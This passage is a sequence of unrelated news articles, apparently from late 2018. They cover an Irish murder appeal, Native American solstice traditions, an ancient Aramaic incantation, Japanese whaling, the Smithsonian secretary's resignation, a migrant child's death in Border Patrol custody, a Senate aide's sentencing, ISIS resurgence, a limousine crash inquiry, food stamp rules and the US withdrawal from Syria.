after almost five hours deliberating. He was given the mandatory life sentence by Mr Justice Paul Carney on March 21, 2013. Manning moved to appeal his conviction on a number of grounds including a complaint over the failure to exclude evidence relating to a knife found on a flat-roof, that could only have been accessed from Mannings bedroom window. His lawyers submitted that there was nothing forensically to link the knife to the deceased or the deceaseds apartment. Giving judgment this Thursday, Mr Justice John Edwards said the court had no hesitation in concluding that the trial judge was correct to allow the knife be admitted into evidence. Mr Justice Edwards said further grounds related to alleged non-disclosure and the admission into evidence of what Manning said to gardai during his first garda interview, at a time when he wasnt under arrest, were also dismissed. In conclusion, Mr Justice John Edwards, who sat with President of the Court of Appeal Mr Justice George Birmingham, and Ms Justice Isobel Kennedy, said the court was satisfied that Manning's trial was satisfactory and his conviction safe. The appeal was therefore dismissed. Detective Garda Vincent Brick testified afterwards that Manning had 115 previous convictions including for firearms offences, possession of knives, domestic violence, endangerment and burglary. We have no motive, he said. To this day, we dont know why Mr Purcell was targeted. He had never come to the attention of Gardai. He was a simple man, who led a simple life. The Blackfeet always faced their tipis toward the rising sun, including on winter solstice. On the day of winter solstice, many Native American communities will hold religious ceremonies or community events. The winter solstice is the day of the year when the Northern Hemisphere has the fewest hours of sunlight and the Southern Hemisphere has the most. For indigenous peoples, it has been a time to honor their ancient sun deity. They passed their knowledge down to successive generations through complex stories and ritual practices. As a scholar of the environmental and Native American religion, I believe, there is much to learn from ancient religious practices. Ancient architecture For decades, scholars have studied the astronomical observations that ancient indigenous people made and sought to understand their meaning. One such place was at Cahokia, near the Mississippi River in what is now Illinois across from St. Louis. (Image credit: Shutterstock) In Cahokia, indigenous people built numerous temple pyramids or mounds, similar to the structures built by the Aztecs in Mexico, over a thousand years ago. Among their constructions, what most stands out is an intriguing structure made up of wooden posts arranged in a circle, known today as "Woodhenge." To understand the purpose of Woodhenge, scientists watched the sun rise from this structure on winter solstice. What they found was telling: The sun aligned with both Woodhenge and the top of a temple mound a temple built on top of a pyramid with a flat top in the distance. They also found that the sun aligns with a different temple mound on summer solstice. Archaeological evidence suggests that the people of Cahokia venerated the sun as a deity. Scholars believe that ancient indigenous societies observed the solar system carefully and wove that knowledge into their architecture. Clip from 'Cahokia's Celestial Calendar (Woodhenge)' episode of PBS' 'Native America.' Scientists have speculated that the Cahokia held rituals to honor the sun as a giver of life and for the new agricultural year. Complex understandings Zuni Pueblo is a contemporary example of indigenous people with an agricultural society in western New Mexico. They grow corn, beans, squash, sunflowers and more. Each year they hold annual harvest festivals and numerous religious ceremonies, including at the winter solstice. At the time of the winter solstice they hold a multiday celebration, known as the Shalako festival. The days for the celebration are selected by the religious leaders. The Zuni are intensely private, and most events are not for public viewing. But what is shared with the public is near the end of the ceremony, when six Zuni men dress up and embody the spirit of giant bird deities. These men carry the Zuni prayers for rain "to all the corners of the earth." The Zuni deities are believed to provide "blessings" and "balance" for the coming seasons and agricultural year. As religion scholar Tisa Wenger writes, "The Zuni believe their ceremonies are necessary not just for the well-being of the tribe but for "the entire world." Winter games Not all indigenous peoples ritualized the winter solstice with a ceremony. But that doesn't mean they didn't find other ways to celebrate. The Blackfeet tribe in Montana, where I am a member, historically kept a calendar of astronomical events. They marked the time of the winter solstice and the "return" of the sun or "Naatosi" on its annual journey. They also faced their tipis or portable conical tents east toward the rising sun. They rarely held large religious gatherings in the winter. Instead the Blackfeet viewed the time of the winter solstice as a time for games and community dances. As a child, my grandmother enjoyed attending community dances at the time of the winter solstice. She remembered that each community held their own gatherings, with unique drumming, singing and dance styles. Later, in my own research, I learned that the Blackfeet moved their dances and ceremonies during the early reservation years from times on their religious calendar to times acceptable to the U.S. government. The dances held at the time of the solstice were moved to Christmas Day or to New Year's Eve. The solstice (Image credit: Divad, from Wikimedia Commons) Today, my family still spends the darkest days of winter playing card games and attending the local community dances, much like my grandmother did. Although some winter solstice traditions have changed over time, they are still a reminder of indigenous peoples understanding of the intricate workings of the solar system. Or as the Zuni Pueblo's rituals for all peoples of the earth demonstrate of an ancient understanding of the interconnectedness of the world. Rosalyn R. LaPier, Associate Professor of Environmental Studies, The University of Montana This article is republished from The Conversation under a Creative Commons license. Read the original article. Follow all of the Expert Voices issues and debates and become part of the discussion on Facebook, Twitter and Google +. The views expressed are those of the author and do not necessarily reflect the views of the publisher. This version of the article was originally published on Live Science. The ancient incantation had illustrations of animals such as scorpions on the front and back (shown here). A 2,800-year-old incantation, written in Aramaic, describes the capture of a creature called the "devourer" said to be able to produce "fire." Discovered in August 2017 within a small building, possibly a shrine, at the site of Zincirli (called "Sam'al" in ancient times), in Turkey, the incantation is inscribed on a stone cosmetic container. Written by a man who practiced magic who is called "Rahim son of Shadadan," the incantation "describes the seizure of a threatening creature [called] the 'devourer,'" wrote Madadh Richey and Dennis Pardee in the abstract of a presentation they gave recently at the Society of Biblical Literature annual meeting. That event took place in Denver between Nov 17 and 21. The blood of the devourer was used to treat someone who appears to have been suffering from the "fire" of the devourer, said Richey, a doctoral student in the Department of Near Eastern Languages and Civilizations at the University of Chicago. It's not clear whether the blood was given to the afflicted person in a potion that could be swallowed or whether it was smeared onto their body, Richey told Live Science. [Cracking Codices: 10 of the Most Mysterious Ancient Manuscripts] "Accompanying the text are illustrations of various creatures, including what appears to be a centipede, a scorpion and a fish," wrote Richey and Pardee, who is the Henry Crown professor of Hebrew studies at the University of Chicago, in the abstract. The illustrations are found on both sides of the cosmetic container. The vessel would have originally stored makeup, and it appears to have been reused for the purpose of writing this incantation, said Virginia Herrmann, who is co-director of the Chicago-Tubingen Expedition to Zincirli, the team that uncovered the incantation. What is the "devourer?" The illustrations suggest that the "devourer" may actually be a scorpion or centipede; as such, the "fire" may refer to the pain of the creatures' sting, Richey told Live Science. The front of the incantation (part of which is shown here) included an illustration of a scorpion, a centipede and Aramaic writing. (Image credit: Photo by Roberto Ceccacci/Courtesy of the Chicago-Tubingen Expedition to Zincirli) In fact, scorpions pose a hazard to archaeologists working at the site. "We always have to check our shoes and bags for scorpions on the excavation, even though most of the local scorpions do not have a very dangerous venom," said Herrmann, noting that shortly after the incantation was removed from the site, "one of our local workers was stung by a scorpion that had crawled onto his backpack that was sitting on the ground," and the archaeological team rushed to apply first aid. Long life Analysis of the incantation's writing indicates that it was inscribed sometime between 850 B.C. and 800 B.C., said Richey, adding that this makes the inscription the oldest Aramaic incantation ever found. However, the small building where the incantation was found appears to date to more than a century later, to the late eighth or seventh century B.C., Herrmann told Live Science. This suggests that the incantation was considered important enough that it was kept long after Rahim would have inscribed it, Herrmann said. [5 Ancient Languages Yet to Be Deciphered] The incantation "had a significance that long outlived its original owner," Herrmann said. It was not the only artifact found in the small building that was kept long after it was created, she said, noting that a "statuette base of a crouching lion made of polished black stone with red inlaid eyes" was also discovered there. That lion figure appears to have been made in the 10th or ninth century B.C. The statuette base may have "once supported a metal figurine of a striding deity," Herrmann added. Sam'al, where the building is located, was the capital of a small Aramaean kingdom that flourished between roughly 900 B.C. and 720 B.C., said Herrmann, noting that the city was seized by the Assyrians around 720 B.C. Originally published on Live Science. Japan plans to leave the International Whaling Commission so that it can resume commercially hunting the giants of the ocean, according to news reports from government sources. While Japan has hunted whales under the guise of science since the 1980s, this would be the first time in 30 years that it hunted them solely for commercial purposes, Kyodo News reported. The move drew a swift rebuke from Australia; and other anti-whaling countries will likely condemn the plan, as well, The Guardian reported. Japan is expected to give its final decision on the matter as early as next week, according to Kyodo News. [Images: Sharks & Whales from Above] The announcement comes after Japan's latest attempt to pursue commercial whaling was rejected at an IWC meeting in Brazil in September. All commercial whaling has been banned by the IWC since 1984, but a few countries, including Japan, have found loopholes. For instance, Norway and Iceland use technical objections to get around the ban, and Japan historically has claimed it was hunting whales for scientific purposes, The Guardian reported. In addition, some indigenous groups are allowed to hunt whales for subsistence. In the past, Japan attempted to get permission to commercially hunt just those whales that have greater numbers in the wild, such as the common minke whale (Balaenoptera acutorostrata), which is listed as an animal of "least concern" by the International Union for Conservation of Nature (IUCN). In contrast, the IUCN lists the Antarctic minke whale (B. bonaerensis) as "near threatened." Japan's commercial whaling proposals have always been stopped by anti-whaling countries, including Australia and New Zealand, Kyodo News reported. If Japan leaves the IWC, it will have to abandon its so-called whaling research in the Antarctic Ocean. But, according to Kyodo News, Japan plans to stop these controversial expeditions anyway, and instead will direct its commercial whalers to seas near the country and to its exclusive economic zone. Japanese government officials framed the issue as an economic one. "There are fishermen in Japan making their living by whaling, and we can't simply end it," an unnamed official told Kyodo News. However, another fisheries agency official said that Japan has no intention of withdrawing from the IWC. "Japans official position, that we want to resume commercial whaling as soon as possible, has not changed," the official told The Guardian. But reports that we will leave the IWC are incorrect. Japan has long towed the line with the IWC, which was established in 1948. This past spring, Japan faced pushback after it came to light that Japanese whalers had killed 333 Antarctic minke whales, including 122 pregnant whales and 114 calves, during the summer of 2017, Live Science previously reported. Moreover, in 2014, the United Nations' International Court of Justice ordered that Japan stop its annual hunts in the Antarctic Ocean, because these hunts were clearly not for scientific purposes but rather for dinner menus. But one year later, Japan resumed hunting in the region, albeit with a reduced quota that was two-thirds of its previous catch, The Guardian reported. Japan previously threatened to leave the IWC in 2007, but changed its mind after talking with representatives from the United States and other member nations, according to Kyodo News. Originally published on Live Science. WASHINGTON - Smithsonian Secretary David J. Skorton, who successfully completed the largest fundraising campaign in the institution's history, announced his resignation Thursday after only 3 1/2 years on the job. A board-certified cardiologist, Skorton, 69, will become president of the Association of American Medical Colleges in June. His last day at the Smithsonian is June 15. Skorton said leading the Smithsonian was a "dream experience" but that he missed working in health care. "The possibility of trying to contribute something to the national challenges of health care is important to me," he said in an interview. "This means going back and combining two passions of mine - higher education and health care." Announced just days before the Christmas holiday, the move came as a surprise to some at the Smithsonian. "It was not something I anticipated," said David Rubenstein, chairman of the Smithsonian board of regents and co-founder of the Carlyle Group. "He's done a very good job. He felt he had one more hurdle he wanted to tackle." Skorton, previously the president of Cornell University, inherited the Smithsonian in a time of tumult: The institution had been hammered with budget cuts and mocked over an ill-fated plan to build a "bubble" structure atop the Hirshhorn Museum. While Skorton's predecessor, G. Wayne Clough, was criticized for censorship when he removed a work from "Hide/Seek," a 2010 National Portrait Gallery exhibition about gay culture and art, Skorton avoided major scandals. Skorton's signature accomplishment, said Steve Case, board vice chairman and former chief executive of AOL, was the 2017 Smithsonian Strategic Plan, which outlined a path for the institution to have greater digital reach and deeper community engagement. "It's reimagining what the Smithsonian is, and transforming it to be as relevant, as impactful as possible," Case said. "That effort has been terrific over the last couple of years." Skorton, who earned $848,345 in 2017, entered the Smithsonian with a reputation as a prolific fundraiser. He led the institution to the completion of its first institutionwide fundraising campaign, raising $1.88 billion by 2017 and eclipsing the $1.5 billion goal set in 2011. He launched the almost $1 billion renovation of the National Air and Space Museum, the Smithsonian's most popular museum. That seven-year project includes more than $700 million in federal funds. He also oversaw the 2016 opening of the National Museum of African American History and Culture, a $540 million building that is the institution's newest museum. "I don't take individual credit for anything on that list," Skorton said. "I'm proud of the partnerships." Skorton's short tenure has also been marked by the projects he turned down. He significantly scaled back a plan to open a stand-alone facility in a new cultural district in London, a project that was announced before he took office. Instead, the Smithsonian agreed this year to partner with the Victoria and Albert Museum to present joint projects and exhibitions in its planned V&A East. Skorton also has resisted calls for new museums for American Latinos and women's history, stressing that the institution has trouble maintaining its current facilities. He has supported the Smithsonian Latino Center, however, and last year introduced a similar project to spotlight women's history. The secretary has brought diversity to the Smithsonian's leadership. He hired Ellen Stofan and Anthea Hartig as the first female directors of the National Air and Space Museum and the National Museum of American History, respectively, and named Julissa Marenco as assistant secretary for communications and external affairs. Skorton's is the second high-profile departure from the Smithsonian announced this month. Last week, Chief Operating Officer Albert Horvath tendered his resignation, effective Jan. 30. Horvath served as acting secretary for the first half of 2015, before Skorton's arrival. When Skorton was named to the role, supporters touted his diverse interests: Not only a doctor, he's also a jazz flutist, a beekeeper, a taekwondo black belt and a Newfoundland dog enthusiast. Rubenstein said the search for Skorton's successor would begin soon and that the board would seek a similarly well-rounded leader. "We are looking for somebody of high intellectual quality, proven administrative capability and drive, with the ability to get along with people, to understand members of Congress and relate to donors," Rubenstein said, adding that he expects to have a new secretary in place before Skorton leaves, to ease the transition. A new secretary will oversee celebrations of the Smithsonian's 175th anniversary in 2021 and continue to implement the strategic plan. "There's still work to be done there," Rubenstein said. "The next secretary will have to take the baton and run the next laps." EL PASO - Seven-year-old Jakelin Caal and her father, Nery, were not provided water during the eight hours they were held in a remote Border Patrol facility with 161 other migrants, the family's lawyers said Wednesday, contradicting statements by U.S. Customs and Border Protection. The lawyers also said Border Patrol agents presented the girl's father with English-language documents, which he signed, in the hours after her death on Dec. 8, raising the possibility that U.S. authorities sought an agreement - as he was grieving - to voluntarily leave the country. "What we do know, and what our client is unequivocal with, is that no water was provided to either him or his daughter," said Christopher Benoit, one of four attorneys who appeared at a news conference here at a shelter for migrants. Border Patrol officials have said food and water were available at the small border outpost in New Mexico where Jakelin and her father were held after crossing into the United States on the night of Dec. 6, and that the child consumed both after having nothing to eat or drink for several days. Nery Caal, 29, has disputed the government's account, and his attorneys said cookies were the only thing available to the families in custody that night. On Wednesday, the Border Patrol referred questions to its previous statements that food and water were provided and the child consumed both. Officials declined to answer questions about what forms Caal may have signed after his daughter's death. The Caal family attorneys called for an independent investigation of Jakelin's death, saying the ongoing inquiry by the Department of Homeland Security's Office of Inspector General is inadequate. Lynn Coyle, another of the attorneys, questioned why the Border Patrol had not assigned more agents or medical personnel to the Antelope Wells border station in New Mexico, despite the arrival of large groups of families with children in recent months. None of the four agents on duty the night Jakelin and her father arrived had advanced medical training, Border Patrol officials have said. "This wasn't a new phenomenon, they weren't thrown off guard, they shouldn't have been surprised, they should have been prepared. And that's where there's a systemic failure. That's the heart of our concern," Coyle said. "If that attention was given, the system was in place, the resources were given, I am pretty confident Jakelin would have been flagged and cared for and probably alive," Coyle said. Attorney Enrique Moreno accused Border Patrol agents of trying to exploit Caal's grief after his daughter's death. "The fact that within 48 hours after Jakelin's death, her father, still coping with his loss, was being asked by CBP to sign statements in English, that offends fundamental notions of fairness and decency," he said. Moreno said Caal doesn't remember what forms he signed, and that Border Patrol has not provided the documents to Caal's attorneys. His primary language is Q'eqchi', a Mayan dialect. He speaks Spanish as a second language, but no English. Border Patrol agents frequently ask migrants in their custody to sign voluntary departure forms, which allows for quicker removal from the country. DHS officials say border agents did everything possible to save the child's life after she began vomiting on a bus ride from the border outpost in Antelope Wells to the Lordsburg Border Patrol station, 90 minutes away, as her condition rapidly deteriorated. Caal has told his lawyers he wants to seek asylum in the United States. The attorneys say he is awaiting an interview with U.S. asylum officers. Jakelin had experienced seizures and stopped breathing by the time the bus arrived. Emergency responders measured her temperature at 105.9 degrees and sent her by helicopter to an El Paso, Texas, children's hospital, where she died 15 hours later of "dehydration, shock and liver failure," according to the Border Patrol. In previous statements, the child's father has praised the agents and responders who cared for his daughter. An autopsy on the child has been completed, but a cause of death is pending additional tests, Moreno said. Border Patrol officials said they are sending more personnel to the Antelope Wells crossing, and they have revised their notification policies to mandate prompt reporting to Congress and the media of any deaths in U.S. custody. The agency has been under criticism for not publicly disclosing Jakelin's death or informing Congress. Under the new guidelines, published on the agency's website Tuesday, the Border Patrol is required to notify lawmakers within 24 hours of a death of someone in its custody, and issue media statements an hour after that. Notifications will also be issued to nongovernmental organizations that work with migrants and others. "To secure and maintain the public trust, CBP's intent is to be accessible and transparent by providing appropriate information to the Congress and the public regarding any death occurring in custody," the agency said. Jakelin's death was first reported by The Washington Post on Dec. 13, two days after Border Patrol Commissioner Kevin McAleenan testified during an oversight hearing by the Senate Judiciary Committee but did not mention the occurrence. In a subsequent letter to lawmakers, McAleenan cited privacy issues and a concern that the girl's death would be politicized. After a delegation of Democratic lawmakers visited the New Mexico border crossing and Border Patrol station Tuesday with McAleenan, retracing the Caals' journey, House Hispanic Caucus Chairman Joaquin Castro, D-Texas, called for McAleenan's resignation, saying he violated the law by not informing Congress within 24 hours. Language in the 2018 House appropriations report directed the Border Patrol to tell lawmakers about any deaths within that time frame, but the agency did not have a statutory requirement and had not formalized the policy until the interim guidelines this week in the wake of Jakelin's death. The new guidelines direct Border Patrol officials to notify the secretary and deputy secretary of DHS within 12 hours of any death in Border Patrol custody, and to alert the State Department and Border Patrol attaches assigned to the country of the decedent. The DHS has not said when Secretary Kirstjen Nielsen was told of the child's death. - - - Jacqueline Alemany contributed to this report. . A longtime aide to the Senate Intelligence Committee was sentenced Thursday to two months in prison for lying to FBI agents about his contact with reporters during a federal leak investigation, a punishment imposed after pleas for leniency by the committee's chairman and two top ranking members. James Wolfe, 58, pleaded guilty in October to one count of lying about using encrypted messaging in October 2017 to tell a journalist identified in court filings only as "Reporter #3" about a subpoena issued by the committee. He also admitted lying about speaking with three other reporters. For three decades, he was the Senate committee's director of security whose duties included overseeing the handling of secret and top-secret information turned over to the panel by the intelligence community for oversight purposes. "I am beyond embarrassed, beyond humiliated," Wolfe told Judge Ketanji Brown Jackson at U.S. District Court in Washington on Thursday. Repeatedly pausing to gather his composure, he said through tears that his disclosures to journalists began after he engaged in an extramarital affair with a New York Times reporter. "I compounded the lapse in judgment by sharing information with reporters after that relationship ended," he said. "I lied to protect my wife, my sons, and selfishly I lied to protect myself and my job." But, Wolfe added, he "never compromised classified information, never jeopardized national security." Wolfe had asked for probation. "We may well be living in an era of alternative facts, but if you propagate falsehoods to government investigators . . . you will be taken seriously and treated seriously, because you are committing a serious federal crime," Jackson said. "As a government official who worked specifically in the area of information security, you understood the importance of the FBI's investigation." Prosecutors dismissed two counts of making false statements related to the other interactions with reporters, but they had asked the judge to impose a tougher sentence. "In the government's view, it's more than the falsehoods," prosecutor Jocelyn Ballantine said in court. "It's . . . a course of duplicitous conduct over a four-year period." Jackson rebuffed prosecutors' request, saying she was judging Wolfe's criminal conduct only. "Having an affair is not a crime, maintaining relationships with reporters is not a crime, even giving sensitive nonpublic but not classified information to a reporter is not a crime," she said. The committee's Chairman Richard Burr, R-N.C., Vice Chairman Mark Warner, D-Va., and former Vice Chairwoman Dianne Feinstein, D-Calif., had joined Wolfe's probation request, citing his years with the committee and 10 years in the U.S. Army and reserves in a letter to the judge. "We do not believe there is any public utility in depriving him of his freedom," they wrote. Wolfe, of Ellicott City, Maryland, admitted that he engaged in a romantic relationship with one of the reporters he was in contact with, Ali Watkins of The New York Times, whose email and phone records were ultimately subpoenaed by the Justice Department. "There are unusual features to this case," defense attorney Preston Burton said in court, including a "sensational affair." The government in June alleged that Wolfe, who had worked for the Senate committee from 1987 until May, lied to FBI agents in December 2017 about repeated contacts with four reporters, including through the use of encrypted messaging applications. He was also accused of lying about giving two reporters nonpublic information about matters before the committee. Prosecutors said the FBI opened the criminal investigation in April 2017 after several leaked news articles, including that the FBI had obtained a secret court order in October 2016 to monitor the communications of Carter Page, a former foreign policy adviser to presidential candidate Donald Trump, in an investigation of possible links between the campaign and Russia. The FBI zeroed in on Wolfe as someone involved in transporting Top Secret materials related to the Foreign Intelligence Surveillance Act court order that were hand-carried from the Department of Justice to the committee, and discovered his relationship with Watkins extended back years. Prosecutors wrote that at that point, "the FBI faced a dilemma," needing to covertly investigate Wolfe's handling of classified material, but also to warn affected parties including the committee to take steps to protect that data. In the end, the FBI "took the extraordinary . . . step of limiting" its initial notification to the committee's chairman and ranking member, and getting a court-approved "delayed-notice" warrant to copy the contents of Wolfe's smartphone in October 2017 - while he was meeting with FBI investigators - prosecutors said. On the count to which Wolfe pleaded guilty, a different reporter on Oct. 17, 2017, asked Wolfe, using the encrypted messaging app Signal, to provide contact information for Page, who had been subpoenaed by the committee, and Wolfe obliged, according to the indictment. Later that day, that reporter published a story disclosing the subpoena. After the story published, Wolfe congratulated the reporter, using Signal, stating "Good job!" and "I'm glad you got the scoop," the indictment said. IRBIL, Iraq - Late last month, a column of Islamic State fighters in armored vehicles and on motorcycles thundered into eastern Syria to mount an unexpectedly fierce assault on U.S.-backed militias near the city of Deir al-Zour. The attackers overran outposts and killed or captured dozens of soldiers before being driven back by U.S. warplanes. The next day, in Iraq's northern Nineveh province, a roadside bomb killed four children as they traveled to their village school by truck. Local officials described the event as tragic but not surprising: The same province has experienced about 17 such attacks every month in the year since the Islamic State was officially declared defeated in Iraq. An attack such as the one in eastern Syria reinforced a view that is widely held among U.S. military and intelligence officials, as well as U.S. allies in the region: Even as the territory claimed by the Islamic State continues to shrink, the group remains a powerful and deadly force across large swaths of Syria and Iraq. In some regions, the Islamist militants appear to be gaining ground, reconstituting themselves as a brutal insurgency bent on killing local leaders and police officers and terrorizing populations, officials and analysts say. "They are reorganizing and reactivating," Masrour Barzani, the chancellor and top security official of Iraq's semiautonomous Kurdish Regional Government, said in an interview before the Trump administration's surprise announcement Wednesday that it will withdraw U.S. troops from Syria. "From Syria to Anbar and Mosul, we see them coming back. The ideology is there, and they continue to have large numbers of followers." For many security experts, the depiction of the Islamic State as "defeated" - as President Donald Trump declared in a Twitter post Wednesday - is not only inaccurate but is also dangerously misleading. Despite its setbacks, the group maintains a formidable presence in Syria and Iraq, commanding cadres of fanatical, highly trained fighters believed to number in the thousands, including many who went into hiding after the fall of the group's self-declared caliphate. The Islamic State, also known as ISIS, continues to fiercely defend its remaining strongholds in Syria against relentless attacks by Kurdish and Syrian ground forces and U.S. warplanes. And in Iraq, its scattered cells are waging a guerrilla campaign that is gaining in intensity in three northern provinces, judging from the number and lethality of the attacks. An abrupt departure of U.S. forces from Syria will almost certainly accelerate the group's resurgence on both sides of the border, officials and security experts say. Without a significant U.S. military presence - which until now has included personnel who collect intelligence and coordinate airstrikes from forward operating bases - the Islamic State could regain its footing in Syria, and from there, direct terrorist operations inside Iraq, and perhaps elsewhere in the region and beyond. "One of the key drivers behind the rise of ISIS was the group's freedom of maneuver inside Syria," said Michael Knights, an expert on Iraqi military affairs at the Washington Institute for Near East Policy. "Syria is the place to get rockets and explosives, things you can't get as easily in Iraq. If we leave the job unfinished in Syria, you could see this start to happen again." Current and former U.S. intelligence officials echoed the view that the fight against the Islamic State is "unfinished," despite a four-year campaign that successfully liberated all but a fraction of the expanse of territory the group once held. For several security experts, the news of the Trump administration's decision evoked comparisons to the situation in Iraq after U.S. forces left that country in 2011 under a controversial agreement with Iraq's Shiite-led government. In 2008, U.S. intelligence officials claimed success against the Islamic State in Iraq - the predecessor of the group that became ISIS - declaring that the terrorists had been "operationally defeated" after a yearslong campaign that targeted the group's leaders and drove its followers into hiding. Three years after the U.S. withdrawal, the Islamic State took control of a third of Iraq, becoming the largest and best-armed terrorist movement of modern times. While the situation in Syria is different - the Pentagon has about 2,000 U.S. soldiers in Syria, to support and train Kurdish and Syrian Arab fighters who are battling the Islamic State - the American withdrawal from Iraq is widely viewed as a factor in the Islamic State's stunning resurgence two years later, culminating in the group's capture of Mosul, Iraq's second-largest city, in 2014. "It's premature to use words like defeat, because we know how hard it is to truly achieve that condition," said Nicholas Rasmussen, who until December 2017 was the director the U.S. government's National Counterterrorism Center. "While they are definitely degraded, 'defeat' suggests a condition that is irreversible or one in which ISIS no longer poses a serious threat to the U.S. Neither of those is true." A recent analysis of terrorism-related violence in Iraq confirms that the Islamic State's ability to carry out attacks in the country has waned overall since government troops liberated the group's last Iraqi strongholds in 2017. Major cities such as Baghdad experienced far fewer attacks in 2018 than in previous years, and even former strongholds of the insurgency in Iraq's western Anbar province are relatively quiet. But in parts of northern Iraq, the frequency of attacks by the Islamic State is rising. Violence is on the upswing in Nineveh province, in the Mosul region, and around Kirkuk, according to an analysis by the Washington Institute's Knights that was published this week in the journal CTC Sentinel. The article suggests that Islamic State forces are carefully picking their targets and opting for quality over quantity, Knights said. "Within one 40-by-40-mile area, they killed 37 tribal leaders in 10 months," Knights said. "The impact of those killings is that thousands more are intimidated - they will not want to work with local officials and put themselves at risk." A senior Kurdish security official said the insurgents appear to be working methodically, exhibiting operational discipline and patience. "They've been preparing for this phase," said the official, who spoke on the condition of anonymity to discuss intelligence assessments. "When the Islamic State had control over Mosul, they conducted training on how to do underground operations, on how to make passports and fake IDs. There are thousands of ISIS fighters who have undergone this kind of training, and they appear to have plenty of money and resources." Islamic State officials have boasted of their preparation for a new phase of battle after U.S. troops leave. The message is being sent via social media and in interviews. One Islamic State official, reached on Wednesday through a social media platform, said he doubted that U.S. forces would completely withdraw from the region but said that his group would ultimately prevail. "The Islamic State idea is not dead," said the man, a high-ranking official who uses the nom de guerre Abu Hamza and does not, he says, reside in Syria. "Many people have learned from the mistakes that were made inside the caliphate. This group has a strong ideology; it stands for an idea." But he acknowledged that Trump's announcement of a troop withdrawal left even the terrorists perplexed. "They will never leave Syria totally," he said. "There will always be some forces left which they will have control over. But maybe its also a way for Trump to save face at the end." --- Video Embed Code Video: The Trump administration is planning to withdraw all U.S. troops from Syria. The president tweeted Wednesday that the U.S. had defeated ISIS in Syria.(Jason Aldag/The Washington Post) Embed code: The National Transportation Safety Board has been blocked by the local district attorney's office from accessing a limousine that crashed in New York state in October, killing 20 people, and other key pieces of evidence, the agency said. In a letter to Susan Mallery, the district attorney of Schoharie County in New York, the federal agency said she was keeping it from completing an investigation. "The delays you imposed have denied the NTSB access to the primary, essential evidence, resulting in safety-critical evidence being lost," NTSB General Counsel Kathleen Silbaugh wrote in the three-page letter, which was dated Dec. 14 and posted Thursday on the agency's website. Silbaugh wrote that Mallery has been unresponsive to repeated NTSB requests to access evidence. A message seeking comment from Mallery wasn't immediately returned. On Oct. 6, a white stretch Ford Excursion limousine lost control, barreled through a stop sign and slammed into an unoccupied SUV in the small town of Schoharie, New York, about 40 miles west of Albany, the state capital. The crash was the deadliest U.S. transportation accident since 2009. Prosecutors charged the operator of the limousine service with criminally negligent homicide, the Associated Press reported in October. In areas such as aviation NTSB has been granted legal authority to control how investigations are conducted. But in highway accidents, the safety board can't dictate how local authorities operate -- at time leading to tensions such as in the current case. In the two months that the NTSB's been sidelined, "key perishable safety investigative information may have been lost," Silbaugh wrote to Mallery. For example, NTSB investigators may no longer be able to evaluate corrosion on the vehicle or its parts that existed at the time of the crash, which is critical when examining brakes, or the state of the vehicle's electrical system, Silbaugh wrote. WASHINGTON - The Trump administration unveiled a plan Thursday to force hundreds of thousands more Americans to hold jobs if they want to keep receiving food stamps, pursuing through executive powers what it could not achieve in Congress. The country's food assistance program, which is run by the U.S. Department of Agriculture, already requires most adults without dependents to work if they collect food stamps for more than three months in a three-year period. But USDA regulations allow states to waive the requirement in areas with unemployment rates that were at least 20 percent greater than the national rate. The USDA is now proposing that states could waive the requirement only in areas where unemployment is above 7 percent. The current national unemployment rate stands at 3.7 percent. Approximately 2.8 million able-bodied recipients without children or an ailing person in their care were not working in 2016, according to the USDA's latest numbers. Roughly 755,000 live in areas that stand to lose the waivers. "This is unacceptable to most Americans and belies common sense, particularly when employment opportunities are as plentiful as they currently are," Agriculture Secretary Sonny Perdue said on a press call, adding the measure could save taxpayers $15 billion over 10 years. "This restores the dignity of work to a sizeable segment of our population," he said. The announcement comes hours before President Donald Trump is expected to sign an approximately $870 billion farm bill with funding for the nation's agricultural programs and for food stamps. That legislation does not impose any tougher work requirements, even though the House version of the bill had restricted the waiver program and also imposed new requirements on parents with children ages 6 to 12, among other changes. The Senate version did not include those provisions. The proposed changes will be published in the Federal Register, Perdue said, and the public will have 60 days to comment. Congressional Democrats quickly slammed the plan and questioned whether the administration had a legal basis to authorize it. "Congress writes laws, and the administration is required to write rules based on the law," said Sen. Debbie Stabenow, D-Mich., the top ranking Democrat on the Senate agriculture committee. "Administrative changes should not be driven by ideology. I do not support unilateral and unjustified changes that would take food away from families." Under current rules, able-bodied adults without dependents - or ABAWDs, as the USDA calls them - are eligible for food stamps from the Supplemental Nutrition Assistance Program for only three months in a three-year period if they do not work or participate in a job-training program for at least 20 hours each week. States, however, can seek waivers that extend support for such individuals up to two years if they live in areas with a surplus of workers. The proposed changes would also force states to re-apply for waivers every year, rather than every two years. The change would not apply to elderly people or pregnant women. Tougher eligibility requirements could overwhelm state efforts to help people find work, said Babs Roberts, director of the Washington state Department of Social Health Services. "Even with as robust a program as we have - including a partnership with every community college in the state," she said, it would be "really hard" for Washington to expand its job training efforts without significantly more funding. But conservative groups had been frustrated that several of their proposals for stricter work requirements were rejected in the farm bill now headed to Trump's desk. "I applaud the proposed rule and proudly stand with the Trump administration in demonstrating the importance of state accountability and recipient success," Rep. Mike Conaway, R-Texas, chair of the House agriculture committee, said in a statement. Sen. Pat Roberts, R-Kan., chair of the agriculture committee, said his office was still evaluating the plan but that giving the Trump administration flexibility on waivers may have proven crucial to securing support for the farm bill. "I'm not sure we would have been able to get a farm bill had we not allowed the administration to handle it in the way they feel is the best way to handle it," Roberts said, adding that he expects a public comment period on the plan. Since the 1996 welfare law took effect, every state but Delaware has sought a time-limit waiver at some point, according to the Center on Budget and Policy Priorities, which tracks such exemptions. The number of Americans receiving food stamp benefits has already declined dramatically, falling from about 48 million in 2013 to about 40 million in 2018 as the broader economy rebounded and unemployment fell, according to federal statistics. WASHINGTON - President Donald Trump sought Thursday to defend his decision to withdraw all U.S. military forces from Syria amid a mounting criticism from lawmakers in both parties - and fresh praise from Russian President Vladimir Putin. In morning tweets, Trump selectively quoted lawmakers and political pundits who agreed with him and argued that the withdrawal was the fulfillment of a campaign pledge and that the United States should not play the role of "Policeman of the Middle East." "Getting out of Syria was no surprise. I've been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer," Trump said in his tweets, adding: "Do we want to be there forever?" Trump said it was time for others in the region to step up against the Islamic State terrorist group and other hostile forces. "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing?" he asked. His tweets came a day after Trump justified pulling out of Syria by claiming that the United States had defeated the Islamic State, an assertion that was widely criticized as premature, risking future aggression in the absence of U.S. forces. The move plunged U.S. allies into uncertainty and created the 